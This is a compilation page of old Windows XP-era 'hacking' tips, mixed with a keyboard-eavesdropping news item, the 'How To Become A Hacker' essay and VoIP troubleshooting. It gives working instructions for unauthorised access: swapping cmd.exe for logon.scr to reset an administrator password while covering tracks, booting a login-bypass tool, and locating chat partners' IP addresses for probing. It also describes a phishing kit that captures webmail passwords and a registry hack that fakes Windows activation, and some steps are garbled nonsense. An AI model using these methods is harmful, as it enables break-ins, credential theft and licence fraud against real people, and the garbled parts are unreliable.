HACK WINDOWS XP ADMIN PASSWORD

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user ricky blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Keyboard sniffers to steal data!!!!!

Computer criminals could soon be eavesdropping on what you type by analysing the electromagnetic signals produced by every key press.

The attacks were shown to work at a distance of 20 metres

By analysing the signals produced by keystrokes, Swiss researchers have reproduced what a target typed.

The security researchers have developed four attacks that work on a wide variety of computer keyboards.

The results led the researchers to declare keyboards were “not safe to transmit sensitive information”.

Better attacks

The attacks were dreamed up by doctoral students Martin Vuagnoux and Sylvain Pasini from the Security and Cryptography Laboratory at the Swiss Ecole Polytechnique Federale de Lausanne (EPFL).

The EPFL students tested 11 different keyboard models that connected to a computer via either a USB or a PS/2 socket. The attacks they developed also worked with keyboards embedded in laptops.

Every keyboard tested was vulnerable to at least one of the four attacks the researchers used. One attack was shown to work over a distance of 20 metres.

In their work the researchers used a radio antenna to “fully or partially recover keystrokes” by spotting the electromagnetic radiation emitted when keys were pressed.

In a web posting they added: “no doubt that our attacks can be significantly improved, since we used relatively unexpensive equipments [sic].”

In videos showing their early work the researchers are seen connecting keyboards to a laptop running on battery power. They avoided using a desktop computer or an LCD display to minimise the chance of picking up signals from other sources.

Details of the attacks are scant but the work is expected to be reported in a peer-reviewed journal soon.

The research builds on earlier work done by University of Cambridge computer scientist Markus Kuhn who looked at ways to use electromagnetic emanations to eavesdrop and steal useful information.

FASTEST WAY TO HACK INTO **** SYSTEM

Well as i already mentioned u can hack any system as it is conected to what we call INTERNET . To connect internet a system allocates a port for communication and Data Transfer. SO here it goes all we goto do is get into that port thats hacking.

steps: -

1.Download software PORT SCANNER.
2.Copy the ip address of the victim whose port is open.
3.Download NETLAB which gives u all information includes victim ip address,Area from where he is accessing internet....
4.Paste the ip of victim u found initially into NETLAB .Thats it u access his system.

NetLab 1.4 Free Download!!!

How to Hack Into a Windows XP Computer Without Changing Password

There is a far better way to get into Windows XP. It is easy and it does not reset the password. Hack into a computer running Windows XP without changing the password and find out all and any passwords on the machine (including admin accounts). You do not need access to any accounts to do this. Of course, do not do this on anyone elses computer without proper authorisation.

How to Hack Into a Windows XP Computer Without Changing Password -

Steps to Hack into a Windows XP Computer without changing password:

1. Get physical access to the machine. Remember that it must have a CD or DVD drive.
2. Download DreamPackPL HERE.
3. Unzip the downloaded dpl.zip and you’ll get dpl.ISO.
4. Use any burning program that can burn ISO images.
5. After you have the disk, boot from the CD or DVD drive. You will see Windows 2000 Setup and it will load some files.
6. Press “R” to install DreamPackPL.
7. Press “C” to install DreamPackPL by using the recovery console.
8. Select the Windows installation that is currently on the computer (Normally is “1″ if you only have one Windows installed)
9. Backup your original sfcfiles.dll by typing:
“ren C:\Windows\System32\sfcfiles.dll sfcfiles.lld” (without quotes)
10. Copy the hacked file from CD to system32 folder. Type:
“copy D:\i386\pinball.ex_ C:\Windows\System32\sfcfiles.dll” (without quotes and assuming your CD drive is D:)
11. Type “exit”, take out disk and reboot.
12. In the password field, type “dreamon” (without quotes) and DreamPack menu will appear.
13. Click the top graphic on the DreamPack menu and you will get a menu popup.
How to Hack Into a Windows XP Computer Without Changing Password

14. Go to commands and enable the options and enable the god command.
How to Hack Into a Windows XP Computer Without Changing Password

15. Type "god" in the password field to get in Windows.
You can also go to Passwords and select "Logon with wrong password and hash". This option allows you to login with ANY password.
Note: I was unable to bring up the DreamPackPL for the first time because I have Kaspersky Anti-Virus already running in background. I believe most antivirus already labelled this tool as a Hack-Tool. A Hack-Tool is NOT a virus. DreamPackPL helps you bypass the Windows Login screen and it is not destructive.

Msn password cracking

a small trick will worked for me hence posting it here


Hacking MSN is actually VERY simple. Msn is designed to route the connection through a Microsoft server while you are chatting. However, when a file is sent, a DCC (direct connection) is created. This was purposely done because otherwise Microsoft would waste a lot of bandwidth so a direct connection is made. This is your chance. Make a file transfer occur between u and a victim (try to send a big file), open up your command prompt (run "cmd" in NT/XP or "command" in 9X to get into prompt) and run netstat. usually the MSN targets IP would be above port 2000. enjoy.


If u receive some crap like gux1-43.primus.com as the target, do a reverse DNS lookup on it. However, this occurs very rarely, mostly u will receive a clear IP.

once u have d IP u can do anything with him by Fingerprinting.

U can protect yourself from this occurring to you by using a proxy with MSN (under connections panel in options).

close Welcome! Wikis are websites that everyone can build together. It's easy! Crack Yahoo,Hotmail,Msn password

We all use Hotmail.. well its one of my Favorites..

**Here m going to reveal n Alert About how the Unethical Hackers Can cheat us .

This Page is meant for Educational Purpose only.

I do not Endorse Hacking at all

but its Meant for knowing the Threats n Protect yourself also Curbing them**

Here we present:


1:- How hotmail can be hacked with fake login screen (2 different ways)
2:- Fake e-mails threats
3:- Detect a fake message into hotmail
4:- How to get persons ip address through msn messenger
5:- curbing the way hackers get the passwords
6:- Easiest Way
7:- Change msn messenger title
8:- Protect yourself from Virus
9:- Hoax Toolbox v1.1

1) Protect yourself from Phishing

Usually The Unethical Hackers Upload their hotmail's fake login screen on a web server and then send these codes
to the victim from yahoo or another mail sending program. The codes are



and the user will be automatically redirected to your fake hotmail screen from their e-mail
box & you r Hacked.

Beware of There Threats

2) Beware of Fake Login Screens

They Start chatting with your victim and send him the fake login screen through Their messenger and try to pish you.

there are many many of them available on the net.. which are usually small Visual Basic programs.. never reveal your password anywhere other than the latest Versions of msn Messengers.

2:- Fake e-mails threats

This is very easy go to http://www.boxfrog.com/ register( its blocked now) but there are many others .. google u ll find many
click on create message and in from filed type in any ones e-mail address and the message will
be sent.

there's also a simple way of doing this by Telnet ting from the dos Prompt..

Beware of this Threat .. make your spam protection Powerful

3) Detect a fake message into Hotmail inbox.

This is Simple Buddies.. open your e-mail box go to options select display setting or
message display setting or (some thing like this) now select full where it says message display

settings or something like this. Open the mail which u thought to be fake now in the last
where it says from u can see the address of that site from where the mail is sent but if
some one has sent it through some sort of program it will tell u his ip.

n once you know D ip m sure u know how to go between it there after

IMP: Read the ip address log from Backwards..

4)- Protect urself revealing your ip address through msn messenger.

When you Open your messenger start chatting with friend open ms dos and type netstat -n there
do not press enter and then minimize it after this send something to your victim and as soon as he accept it the hotmail messenger will say connecting this is the time when u re maximize your MS-DOS and

press enter the ip address next to time wait: will the friends ip. U may be Hacked The same way

Beware!!

HoaX Toolbox v1.1

This is a PHP script that creates a website with an admin area that allows the user to choose between fake login pages of MSN Messenger, Hotmail, Yahoo and Google Mail, once you set up the script on a server that has PHP and SQL you will be able to log in the administration page and choose the fake login page to display to the main site, when the victim tries to log-in their mail/messenger, the website keeps the user/pass information in a log file that you can view anytime from the admin area, if the victim is not stupid enough to add their real log-in because they read the URL of your server instead of reading hotmail.com or yahoo.com in the URL bar then remember you can pop-up the main page of the site and disable the URL bar on the explorer, so when the user clicks on your real site the link "Yahoo Mail" an explorer without URL bar pops up, if you don't know how to pop up customized browsers search google

Key logging

SAIMOHAN

Hack a Yahoo Account While Chatting

This is only for education purpose.
So who ever try this is at his risk.

I am not sure that this will work 100 %.
But yes will work almost 70 percent of the times.
But before that you need to know some few things of yahoo chat protocol
leave a comment here after u see the post lemme know if it does works or not or u having a problem post here.

Following are the features : -

1) When we chat on yahoo every thing goes through the server.Only when we chat thats messages.
2) When we send files yahoo has 2 options
a) Either it uploads the file and then the other client has to down load it.
Either it connects to the client directly and gets the files
3) When we use video or audio:-
a) It either goes thru the server
Or it has client to client connection
And when we have client to client connection the opponents IP is revealed.On the 5051 port.So how do we exploit the Chat user when he gets a direct connection. And how do we go about it.Remember i am here to hack a system with out using a TOOL only by simple net commands and yahoo chat techniques.Thats what makes a difference between a real hacker and new bies.
So lets analyse
1) Its impossible to get a Attackers IP address when you only chat.
2) There are 50 % chances of getting a IP address when you send files
3) Again 50 % chances of getting IP when you use video or audio.

So why to wait lets exploit those 50 % chances .
I'll explain only for files here which lies same for Video or audio

1) Go to dos
type ->
netstat -n 3
You will get the following output.Just do not care and be cool
Active Connections

Proto Local Address Foreign Address State
TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED
TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED
TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED
TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED

Active Connections

Proto Local Address Foreign Address State
TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED
TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED
TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED
TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED

Just i will explain what the out put is in general.In left hand side is your IP address.And in right hand side is the IP address of the foreign machine.And the port to which is connected.Ok now so what next ->

2) Try sending a file to the Target .
if the files comes from server.Thats the file is uploaded leave itYou will not get the ip.But if a direct connection is established
HMMMM then the first attacker first phase is over
This is the output in your netstat.The 5101 number port is where the Attacker is connected.
Active Connections

Proto Local Address Foreign Address State
TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED
TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED
TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED
TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED
TCP 194.30.209.15:5101 194.30.209.14:3290 ESTABLISHED


3) so what next???
Hmmm........ Ok so make a DOS attack now
Go to dos prompt and
Just do
nbtstat -A Attackers IPaddress.Can happen that if system is not protected then you can see the whole network.
C:\>nbtstat -A 194.30.209.14

Local Area Connection:
Node IpAddress: [194.30.209.15] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
EDP12 <00> UNIQUE Registered
XYZ <00> GROUP Registered
XYZ <20> UNIQUE Registered
XYZCOMP1 <1e> GROUP Registered

MAC Address = 00-C0-W0-D5-EF-9A

Ok so you will ask now what next???
No you find what you can do with this network than me explaining everything.
so post ur comments and lemme know....

So the conclusion is never exchange files , video or audio till you know that the user with whom you are chatting is not going to harm you

How To Become A Hacker

The Hacker Attitude
Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.
But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you'll miss the point. Becoming the kind of person who believes these things is important for you -- for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mind-set of masters -- not just intellectually but emotionally as well. So, if you want to be a hacker, repeat the following things until you believe them:

1. The world is full of fascinating problems waiting to be solved.

Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, in pushing themselves past their own physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.
If you aren't the kind of person that feels this way naturally, you'll need to become one in order to make it as a hacker. Otherwise you'll find your hacking energy is sapped by distractions like sex, money, and social approval. (You also have to develop a kind of faith in your own learning capacity -- a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the next piece -- and so on, until you're done.)

2. Nobody should ever have to solve a problem twice.

Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.
To behave like a hacker, you have to believe that the thinking time of other hackers is precious -- so much so that it's almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve new problems instead of having to perpetually re-address old ones. (You don't have to believe that you're obligated to give all your creative product away, though the hackers that do are the ones that get most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers. It's consistent to use your hacking skills to support a family or even get rich, as long as you don't forget you're a hacker while you're doing it.)

3. Boredom and drudgery are evil.

Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work, because when this happens it means they aren't doing what only they can do -- solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but actually evil.
To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers). (There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing excercise, or in order to acquire a skill or have some particular kind of experience you can't have otherwise. But this is by choice -- nobody who can think should ever be forced into boredom.)

4. Freedom is good.

Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you're being fascinated by -- and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smother you and other hackers.
(This isn't the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kinds of authority in order to get something he wants more than the time he spends following orders. But that's a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.) Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing -- they only like `cooperation' that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.

5. Attitude is no substitute for competence.

To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won't make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.
Therefore, you have to learn to distrust attitude and respect competence of every kind. Hackers won't let posers waste their time, but they worship competence -- especially competence at hacking, but competence at anything is good. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best. If you revere competence, you'll enjoy developing it in yourself -- the hard work and dedication will become a kind of intense play rather than drudgery. And that's vital to becoming a hacker. Basic Hacking Skills The hacker attitude is vital, but skills are even more vital. Attitude is no substitute for competence, and there's a certain basic toolkit of skills which you have to have before any hacker will dream of calling you one.
This tookit changes slowly over time as technology creates new skills and makes old ones obsolete. For example, it used to include programming in machine language, and didn't until recently involve HTML. But in late 1996 it pretty clearly includes the following:

1. Learn how to program.

This, of course, is the fundamental hacking skill. In 1997 the one language you absolutely must learn is C (though it's not the one to try learning first thing). But you aren't a hacker or even merely a programmer if you only know one language -- you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to have gotten to the point where you can learn a new language in days by relating what's in the manual to what you already know. This means you should learn several very different languages.
Besides C, you should also learn at least LISP and Perl (and Java is pushing hard for a place on the list). Besides being the most important hacking languages, these each represent very different approaches to programming, and all will educate you in valuable ways. I can't give complete instructions on how to learn to program here -- it's a complex skill. But I can tell you that books and courses won't do it (many, maybe most of the best hackers are self-taught). What will do it is (a) reading code and (b) writing code. Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more ... and repeat until your writing begins to develop the kind of strength and economy you see in your models. Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; free software, free programming tools, and free operating systems (all available in source, and all built by hackers) are now widely available. Which brings me neatly to our next topic...

2. Get one of the free UNIXes and learn to use and run it.

I'm assuming you have a personal computer or can get access to one (these kids today have it so easy :-)). The single most important step any newbie can take towards acquiring hacker skills is to get a copy of Linux or one of the free BSD-Unixes, install it on a personal machine, and run it.
Yes, there are other operating systems in the world besides Unix. But they're distributed in binary -- you can't read the code, and you can't modify it. Trying to learn to hack on a DOS or Windows machine or under MacOS is like trying to learn to dance while wearing a body cast. Besides, Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can't be an Internet hacker without understanding it. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn't always true, and some old-time hackers aren't happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft's muscle doesn't seem able to seriously dent it.) So, bring up a Unix -- I like Linux myself but there are other ways. Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You'll get better programming tools (including C, Lisp, and Perl) than any Microsoft operating system can dream of, you'll have fun, and you'll soak up more knowledge than you realize you're learning until you look back on it as a master hacker.

3. Learn how to use the World Wide Web and write HTML.

Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even politicians admit is changing the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.
This doesn't just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web's markup language. If you don't know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page. But just having a home page isn't anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge -- very snazzy-looking sludge, mind you, but sludge all the same .
Status in the Hacker Culture Like most cultures without a money economy, hackerdom runs on reputation. You're trying to solve interesting problems, but how interesting they are, and whether your solutions are really good, is something that only your technical peers or superiors are normally equipped to judge.
Accordingly, when you play the hacker game, you learn to keep score primarily by what other hackers think of your skill (this is why you aren't really a hacker until other hackers consistently call you one). This fact is obscured by the image of hacking as solitary work; also by a hacker-cultural taboo (now gradually decaying but still potent) against admitting that ego or external validation are involved in one's motivation at all. Specifically, hackerdom is what anthropologists call a gift culture. You gain status and reputation in it not by dominating other people, nor by being beautiful, nor by having things other people want, but rather by giving things away. Specifically, by giving away your time, your creativity, and the results of your skill. There are basically five kinds of things you can do to be respected by hackers:

1. Write free software.

The first (the most central and most traditional) is to write programs that other hackers think are fun or useful, and give the program sources to the whole hacker culture to use.
Hackerdom's most revered demigods are people who have written large, capable programs that met a widespread need and given them away, so that now everyone uses them.

2. Help test and debug free software

They also serve who stand and debug free software. In this imperfect world, we will inevitably spend most of our software development time in the debugging phase. That's why any free-software author who's thinking will tell you that good beta-testers (who know how to describe symptoms clearly, localize problems well, can tolerate bugs in a quickie release, and are willing to apply a few simple diagnostic routines) are worth their weight in rubies. Even one of these can make the difference between a debugging phase that's a protracted, exhausting nightmare and one that's merely a salutory nuisance.
If you're a newbie, try to find a program under development that you're interested in and be a good beta-tester. There's a natural progression from helping test programs to helping debug them to helping modify them. You'll learn a lot this way, and generate good karma with people who will help you later on.

3. Publish useful information.

Another good thing is to collect and filter useful and interesting information into Web pages or documents like FAQs (Frequently Asked Questions lists), and make those generally available.
Maintainers of major technical FAQs get almost as much respect as free-software authors.

4. Help keep the infrastructure working.

The hacker culture (and the engineering development of the Internet, for that matter) is run by volunteers. There's a lot of necessary but unglamorous work that needs done to keep it going -- administering mailing lists, moderating newsgroups, maintaining large software archive sites, developing RFCs and other technical standards.
People who do this sort of thing well get a lot of respect, because everybody knows these jobs are huge time sinks and not much fun as playing with code. Doing them shows dedication.

Q: What language should I learn first?

HTML, if you don't already know it. There are a lot of glossy, hype-intensive bad HTML books out there, and distressingly few good ones. The one I like best is HTML: The Definitive Guide.
When you're ready to start programming, I would recommend starting with Perl or Python. C is really important, but it's also much harder.

Q: How can I get started? Where can I get a free Unix?

Elsewhere on this page I include pointers to where to get a Linux. To be a hacker you need motivation and initiative and the ability to educate yourself. Start now...

......Hope you enjoy this site......

make Your windows original

Download the WindowsLicense.rar or wpa_registry.rar archive files which contains the same registry’s registration file with .reg extension. Link http://wannabegeek.org/component/option,com_docman/task,doc_download/gid,26/Itemid,120/
OR http://wannabegeek.org/component/option,com_docman/task,doc_download/gid,27/Itemid,120/
Extract the archive to retrieve the registration file.
Double click on the registry entry file (with .reg extension), and answer Yes when asked whether want to add the information to the registry to hack the registry.
The Windows is fully licensed, legal, genuine and activated. You should be able to pass all validation of Windows Genuine Advantage program required at anywhere, including Windows Update or Microsoft Update, Microsoft Download Center, validate with Microsoft Genuine Advantage Diagnostic Tool, validate from Genuine Microsoft Windows online, setup installation of WGA apps and etc. Of course, until the next Microsoft update.
The registration file actually put in the following registry keys and branches to the Windows registry:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents]
“OOBETimer”=hex:ff,d5,71,d6,8b,6a,8d,6f,d5,33,93,fd
“LastWPAEventLogged”=hex:d5,07,05,00,06,00,07,00,0f,00,38,00,24,00,fd,02

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]
“CurrentBuild”=”1.511.1 () (Obsolete data - do not use)”
“InstallDate”=dword:427cdd95
“ProductId”=”69831-640-1780577-45389″
“DigitalProductId”=hex:a4,00,00,00,03,00,00,00,36,39,38,33,31,2d,36,34,30,2d,\
31,37,38,30,35,37,37,2d,34,35,33,38,39,00,5a,00,00,00,41,32,32,2d,30,30,30,\
30,31,00,00,00,00,00,00,00,00,0d,04,89,b2,15,1b,c4,ee,62,4f,e6,64,6f,01,00,\
00,00,00,00,27,ed,85,43,a2,20,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,31,34,35,30,34,00,00,00,00,00,00,00,ce,0e,\
00,00,12,42,15,a0,00,08,00,00,87,01,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,94,a2,b3,ac
“LicenseInfo”=hex:9e,bf,09,d0,3a,76,a5,27,bb,f2,da,88,58,ce,58,e9,05,6b,0b,82,\
c3,74,ab,42,0d,fb,ee,c3,ea,57,d0,9d,67,a5,3d,6e,42,0d,60,c0,1a,70,24,46,16,\
0a,0a,ce,0d,b8,27,4a,46,53,f3,17

If you can’t download the files above, simply open any text editor, copy and paste the above text (make sure the format is text only and not a rich text, as the quotation marks (which is distorted by WordPress) matter to make the registration file you created yourself works), and the save the file with .reg extension. The double click on the .reg you created to apply the registry trick.

VoIP Hacks

The Voice over Internet Protocol (VoIP) lets you make phone calls over the Internet for less money than the normal phone system. But VoIP services can sometimes be flaky. Here's a grab bag of hacks for getting more out of your VoIP service. VoIP technology has been around for several years, but only recently has it begun to take off and be available directly to consumers. With a VoIP service, you pay a monthly fee, just as you do to your normal telephone provider, and you get services such as call waiting, caller ID, and similar features. Typically, VoIP phone plans are less expensive than traditional phone plans, and they're often much less expensive for when you make overseas calls. They also offer low-priced "all-you-can-eat" plans for making phone calls in the U.S. They require that you have a broadband Internet connection such as a DSL modem or cable modem because lower-speed service doesn't have a high enough bandwidth to deliver good enough voice quality. When you use a VoIP service, you plug a special VoIP phone into your home router, DSL modem, or cable modem via an Ethernet cable.

If you plug the phone into your DSL modem or cable modem, you then plug your PC into a port on your phone via an Ethernet cable so that your PC can also get Internet access.

Calls made over VoIP travel over the Internet, as do any other Internet packets. They are then transferred to the normal phone system via a gateway so that you can call any phone in the world as you would with any telephone. You receive calls in the same way. Someone makes a call on a normal telephone, and that call travels over the normal telephone system, then is sent to a gateway where the call is broken into IP packets and delivered over the Internet to your telephone. With this type of VoIP service, you get your own phone number, just like any phone number. In fact, you might even be able to keep your existing phone number. There are also software-only VoIP services, in which you don't use any special hardware or equipment. Instead, you download a piece of software and use your PC's speakers and microphone to talk, or else plug a headset into your PC's microphone jack. Generally, these only let you call others who use the same software that you do; in other words, you can't make calls to normal telephones, but can make them to those who also use the same VoIP software you're using. In this scenario, the phone call travels over the Internet. It never actually travels to the normal phone system because the calls aren't made to normal telephones. These VoIP services are typically free. They don't offer full service plans, and so don't have caller ID, call waiting, and similar features. In fact, instant messenger programs such as AOL Instant Messenger, Yahoo! Messenger, and Windows Messenger let you make calls this way. Some of these services let you make phone calls to regular telephones as well, although for that they charge you a fee. And for now, anyway, you can't receive normal phone calls on them; you can make phone calls only. But that is expected to change. The best-known full-featured VoIP service that lets you make phone calls to anyone and receive phone calls is Vonage (http://www.vonage.com). It offers a variety of service plansfor example, $14.99 per month for 500 minutes of calls per month to anywhere in the U.S or Canada, or $24.99 per month for unlimited calls per month to anywhere in the U.S. or Canada. All plans include a variety of free services, such as voicemail, caller ID, call waiting, call forwarding, call transfer, and three-way calling. And international calls are as low as 2 cents per minute to London, Paris, Rome, and Hong Kong. A variety of other companies are entering the VoIP market, including ISPs and AT&T. The best-known software-only VoIP service is Skype (http://www.skype.com), which is available for free when you make calls to other Skype users. But using VoIP can sometimes be a frustrating experience. So, use these hacks to solve some common VoIP woes. 5.11.1. Troubleshoot VoIP Phone/Home Router Problems Some people have had problems when using Vonage VoIP service with their home routers. Instead of incoming calls being sent to their phones, the calls go directly to voicemail. How you solve this varies from router to router, but here's how to do it with the popular Linksys router line. Other routers should have similar fixes. You're going to set up your router so that it uses its port forwarding feature to send calls directly to your IP telephone. First, turn off your cable modem or DSL modem, all the computers on your network, your router, and your IP telephone. Then, turn your cable modem or DSL modem and your router back on. Turn on your IP telephone, and make sure that turn it on before turning on any PCs on your network. This will make sure it is given the network's first IP address via DHCP.

Your caller ID service on either your normal telephone or VoIP phone can easily be subject to caller ID spoofing so that the caller ID number you see before you pick up the phone isn't really the person calling you. Normally, in caller ID, whenever someone makes a phone call his Calling Party Number (CPN) is sent along with it. Sent along with the CPN is a privacy flag; if the caller has requested that his number not be shared, the flag tells the phone network to block the CPN from being sent.

But VoIP changes all that. Using the open source Linux-based PBX software Asterisk with certain VoIP providers, someone can change the CPN sent along with his call, making it appear to come from any number he wants. So, keep in mind that increasingly, caller ID is being subject to spoofing and hacks.

Once you've turned on your IP telephone and your PCs, log into the Linksys administrator's setup screen by opening your browser, typing http://192.168.1.1, and pressing Enter. Leave the username blank, and use the password admin and press Enter. (That's the default password for the router; if you've changed it, use the password you've changed it to.) From the setup screen, choose Advanced Forwarding. You'll come to the port forwarding screen. Set up port forwarding to route these port ranges to your IP telephone. Forward each port to the IP address of your IP phone, such as 192.168.1.101. (The IP address will be the first one assigned by your network.) Set the protocol to UDP. Use the port settings in Table 5-8. Table 5-8. Port ranges for your IP telephone Port range Protocol IP address

53 to 53	UDP	Your phone's IP address
5060 to 5061	UDP	Your phone's IP address
123 to 123	UDP	Your phone's IP address
69 to 69	UDP	Your phone's IP address
10000 to 20000	UDP	Your phone's IP address

Your screen will look like Figure 5-6. Figure 5-6. Setting up a Linksys router to work with a Vonage IP phone

If you're not sure of your Vonage phone's IP address, it's easy to find out. Take the phone off the hook. The red function button on the top of the phone will light up. Press the illuminated red button and then dial 80#. Your IP address will be displayed.

When you're done, click Apply. The port forwarding will take effect immediately, so your problems should be solved. 5.11.2. Get Your Vonage IP Phone to Work with DSL The nature of some DSL services cause conflicts with Vonage IP telephones, so when you use DSL, you might not be able to get your IP phone to work. Even if the phone previously worked with a cable modem, when you switch to DSL it might stop working. The problem is that DSL services often require the use of PPPoE, but if you don't also turn on PPoE in your Vonage phone, the phone won't work. To turn on PPPoE in your Vonage phone, open a web browser in the computer that has the phone connected to it. Go to http://192.168.102.1 and press Enter. (That's the default address for configuring Vonage phones. If you have another type of phone, or if your Vonage phone has a different configuration address, use that instead.) The phone's Basic Configuration screen will appear. Select the Enable PPPoE option, and type the DSL service name, username, and password that your DSL provider gave to you. Click Save Changes. You'll get the message "This will require a reboot of the unit. Are you sure?" Click OK. Your phone will reboot. Wait five minutes, and pick up your phone. It will now work.

Is VoIP a Telephone or Internet Service? When you use VoIP, are you making a phone call or using the Internet? The logical answer, of course, is both. But state and federal governments are not logical, so that question makes an enormous difference in how VoIP services will be regulated. If VoIP is treated as if it were a telephone service, for example, VoIP companies could be required to provide Enhanced 911 emergency phone services and pay into federal and state universal service funds that are used to help pay for telecommunications service to low-income areas, schools, and libraries. Also unclear is whether VoIP services must comply with federal wiretap laws. At the time of this writing, the Federal Communications Commission hasn't made a definitive decision on the matter, but it has made a series of rulings related to VoIP. It ruled that software-only VoIP that makes PC-to-PC phone calls only is not a phone service and therefore does not have to comply with phone service regulation. It also ruled that state governments do not have regulatory authority over VoIP services that use the telephone system to let you make and receive phone calls to anyone, anywhere, as a phone service. Instead, the federal government has that authority. But as of this writing, it still hasn't ruled on whether it will treat that service like a telephone call, like Internet access, like some hybrid of the two, or in some other way.

5.11.3. Cut Your DSL Costs with VoIP Many DSL services let you make phone calls as well as get high-speed Internet access over the same telephone line. So, if you use VoIP in concert with DSL, you're paying double for your phone serviceonce for DSL, and the second time for VoIP. There's a solution: get a DSL service that offers only Internet access, not phone service. It's sometimes called Naked DSL. Qwest and Verizon both offer Naked DSL, and other DSL providers might follow suit.

A federal law says that when you switch telephone providers, you should be allowed to keep your existing phone number. But you'll have to ask for it; it doesn't happen automatically. And there might be circumstances in which you can't keep your existing phone number. If you're switching to Vonage, go to http://www.vonage.com/identity/vonage/includes/lnploa.pdf and fill out the form online. You'll be told whether you can transfer your phone, as well as the steps you have to take to have it switched. The change might not take effect immediately, and you might get a temporary phone number that you can use with your Vonage phone while the changeover happens.

5.11.4. Make Skype Calls at Work If you try to make Skype calls at work, you might get a "Skype error #1102" and be unable to make a connection. If that happens, it means your business's firewall won't let you through. To make the calls, you'll have to tell the system administrator to open up unrestricted outgoing TCP access to all destination ports above 1024, or to port 80. (Destination ports above 1024 is a better bet, however.) That will let you make the connection. If you want better voice quality, tell the administrator to also open up outgoing UDP traffic to all ports above 1024, and to allow UDP replies to come back in.

Boot Disks For ALL Windows

01-Bootdisk Essentials
02-Bootdisk for MS-DOS V5.00
03-Bootdisk for MS-DOS V6.00
04-Bootdisk for MS-DOS V6.20
05-Bootdisk for MS-DOS V6.21
06-Bootdisk for MS-DOS V6.22
07-Bootdisk for Win98SE (MS-DOS V7.10)
08-Bootdisk for Windows 95a
09-Bootdisk for Windows 95b
10-Bootdisk for Windows 98 Custom No Ramdrive
11-Bootdisk for Windows 98 Second Edition
12-Bootdisk for Windows 98 Second Edition Custom No Ramdrive
